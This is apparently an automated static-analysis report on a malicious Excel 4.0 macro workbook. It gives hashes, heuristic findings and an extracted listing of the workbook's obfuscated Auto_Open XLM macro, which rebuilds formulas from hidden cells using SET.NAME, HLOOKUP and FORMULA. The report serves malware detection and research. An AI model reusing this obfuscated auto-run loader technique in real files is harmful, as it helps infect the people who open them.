Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ed37229da63ba04…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:19 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 8a9602b25b8ab9152d6badcea751b915 SHA-1: a12e98899048ef94545706e09f94b68ae4f346b0 SHA-256: 5ed37229da63ba04f38483089908279db0db45220e3ccf4e27015328337e13af
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6619 bytes
SHA-256: deb78220d6a1c5c64bc1e7d6c99015222348d9fc2b6152f3c5fc32f973dacfc0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FNVQlqUzZG
' 0018     24 LABEL : Cell Value, String Constant - AdVChGKSH len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D166 
' 0018     26 LABEL : Cell Value, String Constant - BBWQlWemvpx len=0 
' 0018     23 LABEL : Cell Value, String Constant - BOEQPzkM len=0 
' 0018     27 LABEL : Cell Value, String Constant - DUlRpPBvBKOw len=0 
' 0018     23 LABEL : Cell Value, String Constant - eQVsdttu len=0 
' 0018     20 LABEL : Cell Value, String Constant - HKuSu len=0 
' 0018     24 LABEL : Cell Value, String Constant - IszlKUEyl len=0 
' 0018     26 LABEL : Cell Value, String Constant - KSdCEQUIJov len=0 
' 0018     24 LABEL : Cell Value, String Constant - MwOrIHCeJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - mZCKPCNbxBu len=0 
' 0018     20 LABEL : Cell Value, String Constant - nRNUo len=0 
' 0018     22 LABEL : Cell Value, String Constant - pnzvEdt len=0 
' 0018     27 LABEL : Cell Value, String Constant - pSqYHriidxtL len=0 
' 0018     20 LABEL : Cell Value, String Constant - PtHgk len=0 
' 0018     23 LABEL : Cell Value, String Constant - RVBLpQSZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - SmDYNxIYu len=0 
' 0018     23 LABEL : Cell Value, String Constant - TcyTIlYg len=0 
' 0018     24 LABEL : Cell Value, String Constant - VGSqsLzgD len=0 
' 0018     24 LABEL : Cell Value, String Constant - wJklsqIXG len=0 
' 0018     25 LABEL : Cell Value, String Constant - WoqXkXPOnp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FNVQlqUzZG,D71,"SET.NAME("RVBLpQSZ",VALUE("0"))",""
'  FNVQlqUzZG,D74,"SET.NAME("pnzvEdt",RVBLpQSZ)",""
'  FNVQlqUzZG,D78,"SET.NAME("BOEQPzkM",RVBLpQSZ)",""
'  FNVQlqUzZG,D82,"SET.NAME("AdVChGKSH",COUNTA(BBWQlWemvpx))",""
'  FNVQlqUzZG,D87,"SET.NAME("WoqXkXPOnp",COUNTA(HKuSu))",""
'  FNVQlqUzZG,D89,[],""
'  FNVQlqUzZG,D94,"SET.NAME("pSqYHriidxtL","")",""
'  FNVQlqUzZG,D99,"pnzvEdt",""
'  FNVQlqUzZG,D102,"SET.NAME("KSdCEQUIJov",HLOOKUP("*",BBWQlWemvpx,pnzvEdt,FALSE))",""
'  FNVQlqUzZG,D105,"TcyTIlYg",""
'  FNVQlqUzZG,D108,"SET.NAME("MwOrIHCeJ",RVBLpQSZ)",""
'  FNVQlqUzZG,D111,[],""
'  FNVQlqUzZG,D115,"MwOrIHCeJ",""
'  FNVQlqUzZG,D120,"DUlRpPBvBKOw",""
'  FNVQlqUzZG,D124,"mZCKPCNbxBu",""
'  FNVQlqUzZG,D127,"eQVsdttu",""
'  FNVQlqUzZG,D129,"SET.NAME("wJklsqIXG",VALUE(HLOOKUP("*",HKuSu,eQVsdttu,FALSE)))",""
'  FNVQlqUzZG,D133,"IszlKUEyl",""
'  FNVQlqUzZG,D137,"pSqYHriidxtL",""
'  FNVQlqUzZG,D140,"BOEQPzkM",""
'  FNVQlqUzZG,D144,NEXT(),""
'  FNVQlqUzZG,D146,"VGSqsLzgD",""
'  FNVQlqUzZG,D151,"SET.NAME("f",INT(T(FORMULA(T(pSqYHriidxtL)&"",""&T(VGSqsLzgD)))))",""
'  FNVQlqUzZG,D154,"nRNUo",""
'  FNVQlqUzZG,D157,NEXT(),""
'  FNVQlqUzZG,D162,RETURN(),""
'  FNVQlqUzZG,D188,"SET.NAME("SmDYNxIYu",D71)",""
'  FNVQlqUzZG,D191,"BBWQlWemvpx",""
'  FNVQlqUzZG,D196,"SET.NAME("HKuSu",R95C15)",""
'  FNVQlqUzZG,D198,"SET.NAME("nRNUo",206)",""
'  FNVQlqUzZG,D200,"SET.NAME("PtHgk",4)",""
'  FNVQlqUzZG,D205,SmDYNxIYu(),""
'  FNVQlqUzZG,D206,HALT(),""

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